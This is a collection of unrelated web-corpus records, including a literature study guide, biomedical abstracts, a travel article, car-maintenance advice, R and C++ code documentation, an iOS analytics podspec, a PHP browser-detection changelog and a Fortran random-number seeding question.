3. Making Connections What is the "lie of silent assertion" that Twain refers to in "My First Lie, and How I Got Out of It"? When does Huck tell this type of lie? From the novel, give an example.
Write a paragraph that uses humor to criticize some aspect of high school life that you would like to see changed.
28
The Adventures of Huckleberry Finn Study Guide
Name
Date
Class
from Stride Toward Freedom
Before You Read
Focus Question
In your opinion, is it ever right to break a rule? Explain.
Martin Luther King Jr.
Background
Martin Luther King Jr. received more than forty awards for his work in the civil rights movement. Here, in his own words, he recounts his observations of Montgomery's African American community and his own struggle to find methods to deal with injustice.
Responding to the Reading
1. How did King answer the Montgomery man who asked, "Why have you and your associates come in to destroy [our] long tradition [of peaceful race relations]?" Do you find King's reply to be persuasive? Explain.
2. What was King's ethical dilemma regarding the bus boycott? How did he resolve the dilemma? | {
"pile_set_name": "Pile-CC"
} |
a few more undertale stuff. this is a bookmark collection i’ll be selling in a local con. i placed the iconic heart in at least every picture here~
i really like how these turned out~ | {
"pile_set_name": "OpenWebText2"
} |
Multianalytical non-invasive characterization of phthalocyanine acrylic paints through spectroscopic and non-linear optical techniques.
The documentation and monitoring of cleaning operations on paintings benefit from the identification and determination of thickness of the materials to be selectively removed. Since in artworks diagnosis the preservation of the object's integrity is a priority, the application of non-invasive techniques is commonly preferred. In this work, we present the results obtained with a set of non-invasive optical techniques for the chemical and physical characterization of six copper-phthalocyanine (Cu-Pc) acrylic paints. Cu-Pc pigments have been extensively used by artists over the past century, thanks to their properties and low cost of manufacture. They can also be found in historical paintings in the form of overpaints/retouchings, providing evidence of recent conservation treatments. The optical behaviour and the chemical composition of Cu-Pc paints were investigated through a multi-analytical approach involving micro-Raman spectroscopy, Fibre Optics Reflectance Spectroscopy (FORS) and Laser Induced Fluorescence (LIF), enabling the differentiation among pigments and highlighting discrepancies with the composition declared by the manufacturer. The applicability of Non Linear Optical Microscopy (NLOM) for the evaluation of paint layer thickness was assessed using the modality of Multi-photon Excitation Fluorescence (MPEF). Thickness values measured with MPEF were compared with those retrieved through Optical Coherence Tomography (OCT), showing significant consistency and paving the way for further non-linear stratigraphic investigations on painting materials. | {
"pile_set_name": "PubMed Abstracts"
} |
Roppongi is one of Tokyo’s biggest nightlife districts, renowned for its high-end, multi-level night clubs. For visitors from the Midwest, though, there’s one establishment that especially sticks out: Bar Milwaukee, Roppongi’s nod to a traditional Midwestern dive bar, billiards table, dart boards, neon beer lights and all.
“It seriously feels like home,” says Milwaukee native Nicole Enea, who visited the bar this fall. “It’s almost like a Milwaukee basement bar; it’s just missing bar dice.” Despite the language barrier, Enea says, the bartender was quick to offer up shots — just like at home — and the bar’s music was a mix of the same ’80s and ’90s staples that dominate jukeboxes at home.
Looks inviting | Photo courtesy Nicole Enea
Some of the finer details aren’t completely right. The bar serves more Bud than Miller (although it does have Miller Genuine Draft), and I’m pretty sure a Milwaukee bar hasn’t displayed a sign for Zima since the days of “The Arsenio Hall Show.”
But Milwaukee visitors have helped fill in some of the true local color the bar was missing. Guests have plastered the bar with stickers for Milwaukee institutions like Real Chili, Tonic Tavern and the Brat House.
You can see a gallery of Enea’s photos from her visit to the bar below, and find many more on Bar Milwaukee’s Facebook page. | {
"pile_set_name": "OpenWebText2"
} |
#ifndef PhysicsTools_UtilAlgos_CollectionAdder_h
#define PhysicsTools_UtilAlgos_CollectionAdder_h
/* \class CollectionAdder<C>
*
* \author Luca Lista, INFN
*
* \version $Id: CollectionAdder.h,v 1.3 2010/02/20 20:55:17 wmtan Exp $
*/
#include "FWCore/Framework/interface/EDProducer.h"
#include "FWCore/ParameterSet/interface/ParameterSet.h"
#include "FWCore/Utilities/interface/transform.h"
#include "FWCore/Utilities/interface/InputTag.h"
#include "FWCore/Framework/interface/Event.h"
#include "DataFormats/Common/interface/Handle.h"
template <typename C>
class CollectionAdder : public edm::EDProducer {
public:
typedef C collection;
CollectionAdder(const edm::ParameterSet& cfg)
: srcTokens_(edm::vector_transform(cfg.template getParameter<std::vector<edm::InputTag>>("src"),
[this](edm::InputTag const& tag) { return consumes<collection>(tag); })) {
produces<collection>();
}
private:
std::vector<edm::EDGetTokenT<collection>> srcTokens_;
void produce(edm::Event& evt, const edm::EventSetup&) override {
std::unique_ptr<collection> coll(new collection);
typename collection::Filler filler(*coll);
for (size_t i = 0; i < srcTokens_.size(); ++i) {
edm::Handle<collection> src;
evt.getByToken(srcTokens_[i], src);
*coll += *src;
}
evt.put(std::move(coll));
}
};
#endif
| {
"pile_set_name": "Github"
} |
Susceptibility of MT-null mice to chronic CdCl2-induced nephrotoxicity indicates that renal injury is not mediated by the CdMT complex.
Chronic human exposure to Cd results in kidney injury. It has been proposed that nephrotoxicity produced by chronic Cd exposure is via the Cd-metallothionein complex (CdMT) and not by inorganic forms of Cd. If this hypothesis is correct, then MT-null mice, which cannot form CdMT, should not develop nephrotoxicity. Control and MT-null mice were injected s.c. with a wide range of CdCl2 doses, six times/week for up to 10 weeks, and their renal Cd burden, renal MT concentration, and nephrotoxicity were quantified. In control mice, renal Cd burden increased in a dose- and time-dependent manner, reaching as high as 140 microg Cd/g kidney, along with 150-fold increases in renal MT concentrations, reaching 800 microg MT/g kidney. In MT-null mice, renal Cd concentration (10 microg/g) was much lower, and renal MT was nonexistent. The maximum tolerated dose of Cd in MT-null mice was approximately one-eighth that of controls. MT-null mice were more susceptible than controls to Cd-induced renal injury, as evidenced by increased urinary excretion of protein, glucose, gamma-glutamyltransferase, and N-acetyl-beta-D-glucosaminidase, as well as by increased blood urea nitrogen levels. Kidneys of Cd-treated mice were enlarged and histopathology showed various types of lesions, including proximal tubular degeneration, apoptosis, atrophy, interstitial inflammation, and glomerular swelling. These lesions were more severe in MT-null than in control mice, mirroring the biochemical analyses. These data indicate that Cd-induced renal injury is not necessarily mediated through the CdMT complex and that MT is an important intracellular protein in protecting against chronic Cd nephrotoxicity. | {
"pile_set_name": "PubMed Abstracts"
} |
Having breakdown insurance or an extended warranty can be extremely valuable if your vehicle requires major repairs. Unfortunately, there are some circumstances under which the insurance or warranty will not pay out. Those circumstances usually include owner neglect of routine maintenance.
Routine Maintenance for Your Vehicle
Routine maintenance includes all those small trips to the repair shop, the ones that are probably going to cost less than the deductible on your insurance or warranty. Our lives are often filled with small financial obligations such as credit card payments, school lunches, work lunches, union dues, or even your membership in an online game or at an exercise club. It becomes too easy to say, “I’ll get the oil changed next week with I don’t have so many things due.” Auto mechanics will tell you that those routine maintenance tasks are an important part of keeping your vehicle in good repair and running correctly.
Topping Up Fluids
Topping up the fluids in your car is easy and you can do it yourself. A clerk at a gas station remarked to a customer who was buying oil, “I just listen to the motor, and when it starts making a tapping sound I tell my husband. Sure enough, it is usually low on oil.” If you are waiting for the “tapping sound” you are probably waiting too long. Make it a practice to check the oil and look at the coolant in the overflow reservoir each time you fill the gas tank. Keep a little notebook with the owner’s manual and track the oil and coolant as well as the gasoline and mileage. You’ll be glad of the information when you talk with your mechanic
Oil Change and Lube
One of the least expensive vehicle repair and maintenance events, and one of the most important. Even if you are keeping the fluids in your vehicle topped up, eventually the oil will become dirty. The dirt includes environmental crud as well as tiny metal filings that are the result of metal parts moving against each other. Your oil filter will catch some of these things, but eventually, it will become clogged and will begin to choke down the flow of oil. This is also true of the fuel filter. Moving parts that are not directly affected by the motor oil or transmission fluid might also need attention. Your auto mechanic will check all fluids and moving parts when doing a routine oil change and lube. If you sign up with your auto shop, many will now send an email or text message when it is time for this maintenance event.
Tires, Brakes and Wheels
Tires, brakes and wheels are other parts where just driving your vehicle normally will create wear. Tires need to be rotated frequently to make sure they are wearing evenly, and the wheel alignment needs checked. Of course, there is no need to emphasize the importance of good stopping power! The world is full of small children, dogs, cats, squirrels and other motorists who do the unexpected.
Importance of Maintenance
When you attend to regular maintenance on your vehicle, you help the engine to run with less strain and you prolong its life. In addition, you meet the requirements of your warranty or breakdown insurance policy. If your insurer finds that the mechanical failure of your vehicle was due to neglect, there is a chance that your claim will not be honored. If you make regular maintenance visits and keep a record of them, your insurance company will see that you are doing your best to maintain your vehicle in good condition. | {
"pile_set_name": "OpenWebText2"
} |
Is fragile X syndrome a pervasive developmental disability? Cognitive ability and adaptive behavior in males with the full mutation.
In addition to mental retardation (MR), fragile X [fra(X)] syndrome has been associated with various psychopathologies, although it appears that the link is secondary to MR. It has been proposed that individuals with the full mutation be classified as a subcategory of pervasive developmental disorders (PDD). If fra(X) males are to be categorized as PDD, how do they compare with other types of developmental disabilities? We examined 27 fra(X) males aged 3-14 years, from 4 sites in North America. Measures of cognitive abilities were obtained from the Stanford-Binet Fourth Edition (SBFE), while levels of adaptive behavior were evaluated using the Vineland Adaptive Behavior Scales (VABS). Control subjects were sex-, age-, and IQ matched children and adolescents ascertained from the Developmental Evaluation Clinic (DEC) at Kings County Hospital. At the DEC, control subjects were diagnosed as either MR (n = 43) or autistic disorder (AD; n = 22). To compare subjects' adaptive behavior (SQ) with their cognitive abilities (IQ), a ratio of [(SQ/IQ) x 100] was computed. Results graphed as cumulative distribution functions (cdf) revealed that the cdf for AD males, who by definition are socially impaired, was positioned to the left of the cdf for MR controls, as expected. Mean ratio for AD males (70) was lower than for MR males (84). On the other hand, the cdf for fra(X) males was positioned far to the right of either AD or MR controls (mean ratio = 125). Statistical tests showed that SQ of fra(X) males was significantly higher than controls.(ABSTRACT TRUNCATED AT 250 WORDS) | {
"pile_set_name": "PubMed Abstracts"
} |
Find cheap airfares for flights from Takaroa to Raiatea Island. Use gh.wego.com to search and compare low airfare airline tickets for Takaroa to Raiatea Island flights on various international airlines. FInd last minute flights and the latest low airfares for this route. Compare cheap Takaroa to Raiatea Island flights at a glance and get the best deal for your trip. | {
"pile_set_name": "Pile-CC"
} |
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<h1>coronavirus_spatial</h1>
<small class="dont-index">Source: <a href='https://github.com/covid19r/coronavirus/blob/master/R/coronavirus_spatial.R'><code>R/coronavirus_spatial.R</code></a></small>
<div class="hidden name"><code>coronavirus_spatial.Rd</code></div>
</div>
<div class="ref-description">
<p>Create a geospatial version of the <a href='coronavirus.html'>coronavirus</a> data set for
easier visualization and spatial analysis. Uses <a href='https://www.rdocumentation.org/packages/rnaturalearth/topics/rnaturalearth'>rnaturalearth</a> for the
the spatial info and generates <a href='https://www.rdocumentation.org/packages/sf/topics/sf'>sf</a> objects using <a href='https://www.rdocumentation.org/packages/sf/topics/st_join'>st_join</a> to match up
datasets.</p>
</div>
<pre class="usage"><span class='fu'>coronavirus_spatial</span>(
<span class='kw'>return_shape</span> <span class='kw'>=</span> <span class='fu'><a href='https://www.rdocumentation.org/packages/base/topics/c'>c</a></span>(<span class='st'>"point"</span>, <span class='st'>"polygon"</span>),
<span class='kw'>returncols</span> <span class='kw'>=</span> <span class='fu'><a href='https://www.rdocumentation.org/packages/base/topics/c'>c</a></span>(<span class='st'>"all"</span>, <span class='st'>"simple"</span>, <span class='st'>"reduced"</span>),
<span class='no'>...</span>
)</pre>
<h2 class="hasAnchor" id="arguments"><a class="anchor" href="#arguments"></a>Arguments</h2>
<table class="ref-arguments">
<colgroup><col class="name" /><col class="desc" /></colgroup>
<tr>
<th>return_shape</th>
<td><p>Should the <a href='https://www.rdocumentation.org/packages/sf/topics/sf'>sf</a> object returned be points for cases or polygons of countries?
Defaults to `point`.</p></td>
</tr>
<tr>
<th>returncols</th>
<td><p>What coluns do you want returned. Defaults to `all`, giving all columns from
the original `coronavirus` dataset as well as those returned by <a href='https://www.rdocumentation.org/packages/rnaturalearth/topics/ne_countries'>ne_countries</a>.
`simple` returned those from `coronavirus` as well as some larger scale geographic information.
`reduced` returns the info from `simple` as well as information on population, income, and a
number of ISO codes.</p></td>
</tr>
<tr>
<th>...</th>
<td><p>Other arguments to <a href='https://www.rdocumentation.org/packages/rnaturalearth/topics/ne_countries'>ne_countries</a></p></td>
</tr>
</table>
<h2 class="hasAnchor" id="source"><a class="anchor" href="#source"></a>Source</h2>
<p>Johns Hopkins University Center for Systems Science and Engineering (JHU CCSE) Coronavirus <a href='https://systems.jhu.edu/research/public-health/ncov/'>website</a></p>
<p>The <a href='https://www.rdocumentation.org/packages/rnaturalearth/topics/rnaturalearth'>rnaturalearth</a></p>
<h2 class="hasAnchor" id="value"><a class="anchor" href="#value"></a>Value</h2>
<p>An `sf` object with either country borders as polygons or cases as points</p>
<h2 class="hasAnchor" id="examples"><a class="anchor" href="#examples"></a>Examples</h2>
<pre class="examples"><span class='co'># NOT RUN {</span>
<span class='fu'><a href='https://www.rdocumentation.org/packages/base/topics/library'>library</a></span>(<span class='no'>ggplot2</span>)
<span class='fu'><a href='https://www.rdocumentation.org/packages/base/topics/library'>library</a></span>(<span class='no'>dplyr</span>)
<span class='fu'><a href='https://www.rdocumentation.org/packages/base/topics/library'>library</a></span>(<span class='no'>rnaturalearth</span>)
<span class='no'>worldmap</span> <span class='kw'><-</span> <span class='fu'><a href='https://www.rdocumentation.org/packages/rnaturalearth/topics/ne_countries'>ne_countries</a></span>(<span class='kw'>returnclass</span> <span class='kw'>=</span> <span class='st'>"sf"</span>)
<span class='no'>coronavirus_points</span> <span class='kw'><-</span> <span class='fu'>coronavirus_spatial</span>() <span class='kw'>%>%</span>
<span class='fu'><a href='https://dplyr.tidyverse.org/reference/filter.html'>filter</a></span>(<span class='no'>date</span> <span class='kw'>==</span> <span class='st'>"2020-03-08"</span>) <span class='kw'>%>%</span>
<span class='fu'><a href='https://dplyr.tidyverse.org/reference/filter.html'>filter</a></span>(<span class='no'>type</span> <span class='kw'>==</span> <span class='st'>"confirmed"</span>)
<span class='no'>coronavirus_polys</span> <span class='kw'><-</span> <span class='fu'>coronavirus_spatial</span>(<span class='kw'>return_shape</span> <span class='kw'>=</span> <span class='st'>"polygon"</span>)<span class='kw'>%>%</span>
<span class='fu'><a href='https://dplyr.tidyverse.org/reference/filter.html'>filter</a></span>(<span class='no'>date</span> <span class='kw'>==</span> <span class='st'>"2020-03-08"</span>)<span class='kw'>%>%</span>
<span class='fu'><a href='https://dplyr.tidyverse.org/reference/filter.html'>filter</a></span>(<span class='no'>type</span> <span class='kw'>==</span> <span class='st'>"confirmed"</span>)
<span class='fu'><a href='https://ggplot2.tidyverse.org/reference/ggplot.html'>ggplot</a></span>(<span class='no'>worldmap</span>) +
<span class='fu'><a href='https://ggplot2.tidyverse.org/reference/ggsf.html'>geom_sf</a></span>() +
<span class='fu'><a href='https://ggplot2.tidyverse.org/reference/ggsf.html'>geom_sf</a></span>(<span class='kw'>data</span> <span class='kw'>=</span> <span class='no'>coronavirus_polys</span>, <span class='fu'><a href='https://ggplot2.tidyverse.org/reference/aes.html'>aes</a></span>(<span class='kw'>fill</span> <span class='kw'>=</span> <span class='fu'><a href='https://www.rdocumentation.org/packages/base/topics/Log'>log10</a></span>(<span class='no'>cases</span>+<span class='fl'>1</span>))) +
<span class='fu'><a href='https://ggplot2.tidyverse.org/reference/ggsf.html'>geom_sf</a></span>(<span class='kw'>data</span> <span class='kw'>=</span> <span class='no'>coronavirus_points</span>) +
<span class='fu'><a href='https://ggplot2.tidyverse.org/reference/scale_viridis.html'>scale_fill_viridis_c</a></span>() +
<span class='fu'><a href='https://ggplot2.tidyverse.org/reference/ggtheme.html'>theme_void</a></span>()
<span class='co'># }</span></pre>
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<li><a href="#arguments">Arguments</a></li>
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| {
"pile_set_name": "Github"
} |
{
"name": "Analytics",
"version": "1.7.9",
"summary": "Segment analytics and marketing tools library for iOS.",
"homepage": "https://segment.com/libraries/ios",
"license": {
"type": "MIT",
"file": "License.md"
},
"authors": {
"Segment": "[email protected]"
},
"source": {
"git": "https://github.com/segmentio/analytics-ios.git",
"tag": "1.7.9"
},
"platforms": {
"ios": "6.0"
},
"requires_arc": true,
"xcconfig": {
"GCC_PREPROCESSOR_DEFINITIONS": "ANALYTICS_VERSION=1.7.9"
},
"subspecs": [
{
"name": "Core-iOS",
"public_header_files": "Analytics/*",
"source_files": [
"Analytics/*.{h,m}",
"Analytics/Helpers/*.{h,m}",
"Analytics/Integrations/SEGAnalyticsIntegrations.h"
],
"platforms": [
"ios"
],
"dependencies": {
"TRVSDictionaryWithCaseInsensitivity": [
"0.0.2"
]
},
"weak_frameworks": [
"iAd",
"AdSupport",
"CoreBlueTooth",
"SystemConfiguration"
],
"frameworks": [
"SystemConfiguration"
]
},
{
"name": "Amplitude",
"prefix_header_contents": "#define USE_ANALYTICS_AMPLITUDE 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/Amplitude/SEGAmplitudeIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Amplitude-iOS": [
"2.1.1"
],
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
]
}
},
{
"name": "AppsFlyer",
"prefix_header_contents": "#define USE_ANALYTICS_APPSFLYER 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/AppsFlyer/SEGAppsFlyerIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
],
"AppsFlyer-SDK": [
"2.5.3.10"
]
}
},
{
"name": "Bugsnag",
"prefix_header_contents": "#define USE_ANALYTICS_BUGSNAG 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/Bugsnag/SEGBugsnagIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
],
"Bugsnag": [
"3.1.2"
]
}
},
{
"name": "Countly",
"prefix_header_contents": "#define USE_ANALYTICS_COUNTLY 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/Countly/SEGCountlyIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
],
"Countly": [
"1.0.0"
]
}
},
{
"name": "Crittercism",
"prefix_header_contents": "#define USE_ANALYTICS_CRITTERCISM 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/Crittercism/SEGCrittercismIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
],
"CrittercismSDK": [
"4.3.4"
]
}
},
{
"name": "Flurry",
"prefix_header_contents": "#define USE_ANALYTICS_FLURRY 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/Flurry/SEGFlurryIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
],
"FlurrySDK": [
"4.4.0"
]
}
},
{
"name": "GoogleAnalytics",
"prefix_header_contents": "#define USE_ANALYTICS_GOOGLEANALYTICS 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/GoogleAnalytics/SEGGoogleAnalyticsIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
],
"GoogleAnalytics-iOS-SDK": [
"3.0.9"
]
}
},
{
"name": "Localytics",
"prefix_header_contents": "#define USE_ANALYTICS_LOCALYTICS 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/Localytics/SEGLocalyticsIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
],
"Localytics-AMP": [
"2.71.0"
]
}
},
{
"name": "Mixpanel",
"prefix_header_contents": "#define USE_ANALYTICS_MIXPANEL 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/Mixpanel/SEGMixpanelIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
],
"Mixpanel": [
"2.5.3"
]
}
},
{
"name": "Optimizely",
"prefix_header_contents": "#define USE_ANALYTICS_OPTIMIZELY 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/Optimizely/SEGOptimizelyIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
],
"Optimizely-iOS-SDK": [
"0.6.52"
]
}
},
{
"name": "Quantcast",
"prefix_header_contents": "#define USE_ANALYTICS_QUANTCAST 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/Quantcast/SEGQuantcastIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
],
"Quantcast-Measure": [
"1.4.6"
]
}
},
{
"name": "Segmentio",
"prefix_header_contents": "#define USE_ANALYTICS_SEGMENTIO 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/Segmentio/SEGSegmentioIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
]
}
},
{
"name": "Taplytics",
"prefix_header_contents": "#define USE_ANALYTICS_TAPLYTICS 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/Taplytics/SEGTaplyticsIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
],
"Taplytics": [
"2.0.10"
]
}
},
{
"name": "Tapstream",
"prefix_header_contents": "#define USE_ANALYTICS_TAPSTREAM 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/Tapstream/SEGTapstreamIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
],
"Tapstream": [
"2.8.1"
]
}
},
{
"name": "TestFlight",
"prefix_header_contents": "#define USE_ANALYTICS_TESTFLIGHT 1",
"public_header_files": "Analytics/Integrations/*",
"ios": {
"source_files": "Analytics/Integrations/TestFlight/SEGTestFlightIntegration.{h,m}"
},
"platforms": [
"ios"
],
"dependencies": {
"Analytics/Core-iOS": [
],
"Analytics/Segmentio": [
],
"TestFlightSDK": [
"3.0.2"
]
}
}
]
}
| {
"pile_set_name": "Github"
} |
Autophagy and ubiquitin-mediated proteolysis may not be involved in the degradation of spermatozoon mitochondria in mouse and porcine early embryos.
The mitochondrial genome is maternally inherited in animals, despite the fact that paternal mitochondria enter oocytes during fertilization. Autophagy and ubiquitin-mediated degradation are responsible for the elimination of paternal mitochondria in Caenorhabditis elegans; however, the involvement of these two processes in the degradation of paternal mitochondria in mammals is not well understood. We investigated the localization patterns of light chain 3 (LC3) and ubiquitin in mouse and porcine embryos during preimplantation development. We found that LC3 and ubiquitin localized to the spermatozoon midpiece at 3 h post-fertilization, and that both proteins were colocalized with paternal mitochondria and removed upon fertilization during the 4-cell stage in mouse and the zygote stage in porcine embryos. Sporadic paternal mitochondria were present beyond the morula stage in the mouse, and paternal mitochondria were restricted to one blastomere of 4-cell embryos. An autophagy inhibitor, 3-methyladenine (3-MA), did not affect the distribution of paternal mitochondria compared with the positive control, while an autophagy inducer, rapamycin, accelerated the removal of paternal mitochondria compared with the control. After the intracytoplasmic injection of intact spermatozoon into mouse oocytes, LC3 and ubiquitin localized to the spermatozoon midpiece, but remnants of undegraded paternal mitochondria were retained until the blastocyst stage. Our results show that paternal mitochondria colocalize with autophagy receptors and ubiquitin and are removed after in vitro fertilization, but some remnants of sperm mitochondrial sheath may persist up to morula stage after intracytoplasmic spermatozoon injection (ICSI). | {
"pile_set_name": "PubMed Abstracts"
} |
Q:
Adding an OpenGL graphics card to a PCI32 only motherboard
I need to add a 3D graphics adapter on a PCI32 only server motherboard. All modern graphics adapter are PCI-Express based, what options do I have?
Thanks.
A:
Matrox still make PCI video cards
http://www.matrox.com/graphics/en/products/graphics_cards/g_series/g450pci/
http://www.matrox.com/graphics/en/products/graphics_cards/g_series/g550lppci/
http://www.matrox.com/graphics/en/products/graphics_cards/p_series/p690pci/
| {
"pile_set_name": "StackExchange"
} |
### Changes in 4.2.2
---
- Fix bug with config merging.
- Support for Laravel 7.0
- Update many dependency to have compatibility on all Laravel version.
- New config accessor to read and test the config injection.
- Tests for the config merging.
- Use composer scripts for easier local testing.
### Changes in 4.2.1
---
- Fix unhandled null type in user agent string accessor.
### Changes in 4.2.0
---
- Standalone mode, removed the requirement for Laravel.
- Support for user configs, also supports the Laravel config manager.
### Changes in 4.1.0
---
- OS detectors for Windows, Linux, Andorid, and Mac/iOS.
- 100% test coverage.
- Type hinted every class and function.
- Introduced the static code analysis to the test flow.
- Introduced the code quality analysis to the test flow.
- Moved to PSR12 standards with the code base.
- Fixed potential type errors.
- Improve the resistance for HTTP header based attacks.
- First iteraton for a demo site.
### Change in 4.0.0
---
- PHP 5.6 is no longer supported.
- Raised the minimum Laravel version to 6.0.
- Support for Laravel 6.0, 6.1, 6.2, 6.3, 6.4, 6.5.
- Unify the coding standards.
- Remove legacy PHP workarounds.
- Release the isEdge result variable.
- Invalidate cache with 3.x versions.
- Update the tests to test for every laravel framework version.
### Changes in 3.1.4
---
- Fix blade directives, add test coverage.
### Changes in 3.1.3
---
- Allow PHPUnit 7.0 as dependency.
### Changes in 3.1.2
---
- Bump version testing to laravel 5.6.
### Changes in 3.1.1
---
- Fix: MobileDetect still used the osName instead of platformName.
- Fix: isIEVersion comparison called the parameters in wrong order.
- Addition: Version parser now forces the semantic version pieces to be integer.
- Fixed: MobileDetect test only ran on one sample.
- Addition: More test coverage, getting closer to the maximum.
### Changes in 3.1.0
---
- Added the DeviceDetector stage to the pipeline.
- Fixed a minor issue with versions and trailing dots.
- Added the Browser::browserEngine() function.
- Much better detection rates with the new stage.
### Changes in 3.0.1
---
- Fixed the result objects bad property calls.
- Added more unit test for the fixed case.
### Changes in 3.0.0
---
- The package has been rewrote from ground zero.
- Added PHPUnit, and covering the main features.
- Added the travis ci to the release cycle.
- Moved to the Develop -> Staging -> Stable branch model.
- Interfaced everything, seriously!
- Custom exceptions for easier package managing.
- Blade directives.
- Result is now a well annotated object, any IDE can work with it.
- End of the plugin era, pipelines ha arrived.
- Added the crawler detect package.
- Replaced the UAParser to a more supported one.
- Support for MobileDetect 2.0 to 2.8, 3.0 will never come :D
- Parser class is much more simple to use.
- PSR-2 code style.
- Browsecap plugin has been removed.
- UserAgentStringApi plugin has been removed. (Too slow to call)
- Everything is easier now, but also less flexibility in the package.
- Better version support for PHP and Laravel.
- Easy fast setup.
- Namespaces are redesigned to be more descriptive.
### Changes in 2.0 version
---
- Laravel 5 is now supported, first draft.
### Changes in 1.0.0pre
---
The code has been almost totaly rewrited except like 30 line of code from v0.9.\*, this breaks the compability with older versions so the major version has been increased to v1.0.0pre.
The version 1.0.0 is promised when the Mobile Detect 3 comes out but since they passed the due date for the release the support for their new detector will be intruduced in a plugin so the package dev can move on.
- Most prior change is the PHP requirement increased to 5.4~ this allows the usage of traits.
- Class loading now uses PSR-4 instead of PSR-0 structure. This will be handled by the composer automaticaly.
- Package now requires the hisorange/traits package to share resources between packages.
- PHP namespace are moved from **hisorange\browserdetect** to **hisorange\BrowserDetect** to avoid collusions.
- Package now uses the 'browser-detect.parser', 'browser-detect.result' component names in the L4 Di.
- Service provider is more extendable with splitted parser and result component keys.
- Manager class has been renamed to Parser.
- Instead of useing the basic Cache and Config class from the Laravel app now useing the app's Di to forge the needed component.
- Most of the Manager class' functions has been renamed and reoriented in the Parser.
- Before hardcoded generic values now stored in the config file.
- Default cache prefix has been changed to 'hbd1'.
- Cacheing now requires less memory the results are stored in a compact string format instead of an array.
- Parser now determine the browser's javascript support.
- Parsing are now plugin oriented instead of hardcodeing.
- Plugins are costumizeable from the config/plugins.php file.
- Package ships with 4 built in plugin.
- UserAgentStringApi plugin is default turned off, because it requires greater amount of time to process.
### v0.9.2
---
- Fix the case where importing datas and query the current agent in the same request.
- Perform self analization before importing data.
### v0.9.1
---
- New import and export function on the info object.
### Initial release v0.9.0
| {
"pile_set_name": "Github"
} |
Q:
How to change seed number in Fortran stochastic simulator code
I'm running a Fortran code which performs a stochastic simulation of a marked Poisson cluster process. In practice, event properties (eg. time of occurrences) are generated by inversion method, i.e. by random sampling of the cumulative distribution function.
Because of the Poissonian randomness, I expect each generated sequence to be different, but this is not the case. I guess the reason is that the seed for the pseudorandom number generator is the same at each simulation.
I do not know Fortran, so I have no idea how to solve this issue. Here is the part of the code involved with the pseudorandom number generator, any idea?
subroutine pseud0(r)
c generation of pseudo-random numbers
c data ir/584287/
data ir/574289/
ir=ir*48828125
if(ir) 10,20,20
10 ir=(ir+2147483647)+1
20 r=float(ir)*0.4656613e-9
return
end
subroutine pseudo(random)
c wichmann+hill (1982) Appl. Statist 31
data ix,iy,iz /1992,1111,1151/
ix=171*mod(ix,177)-2*(ix/177)
iy=172*mod(iy,176)-35*(iy/176)
iz=170*mod(iz,178)-63*(iz/178)
if (ix.lt.0) ix=ix+30269
if (iy.lt.0) iy=iy+30307
if (iz.lt.0) iz=iz+30323
random=mod(float(ix)/30269.0+float(iy)/30307.0+
& float(iz)/30323.0,1.0)
return
end
A:
First, I would review the modern literature for PRNG and pick a modern implementation. Second, I would rewrite the code in modern Fortran.
You need to follow @francescalus advice and have a method for updating the seed. Without attempting to modernizing your code, here is one method for the pseud0 prng
subroutine init0(i)
integer, intent(in) :: i
common /myseed0/iseed
iseed = i
end subroutine init0
subroutine pseud0(r)
common /myseed0/ir
ir = ir * 48828125
if (ir) 10,20,20
10 ir = (ir+2147483647)+1
20 r = ir*0.4656613e-9
end subroutine pseud0
program foo
integer i
real r1
call init0(574289) ! Original seed
do i = 1, 10
call pseud0(r1)
print *, r1
end do
print *
call init0(289574) ! New seed
do i = 1, 10
call pseud0(r1)
print *, r1
end do
print *
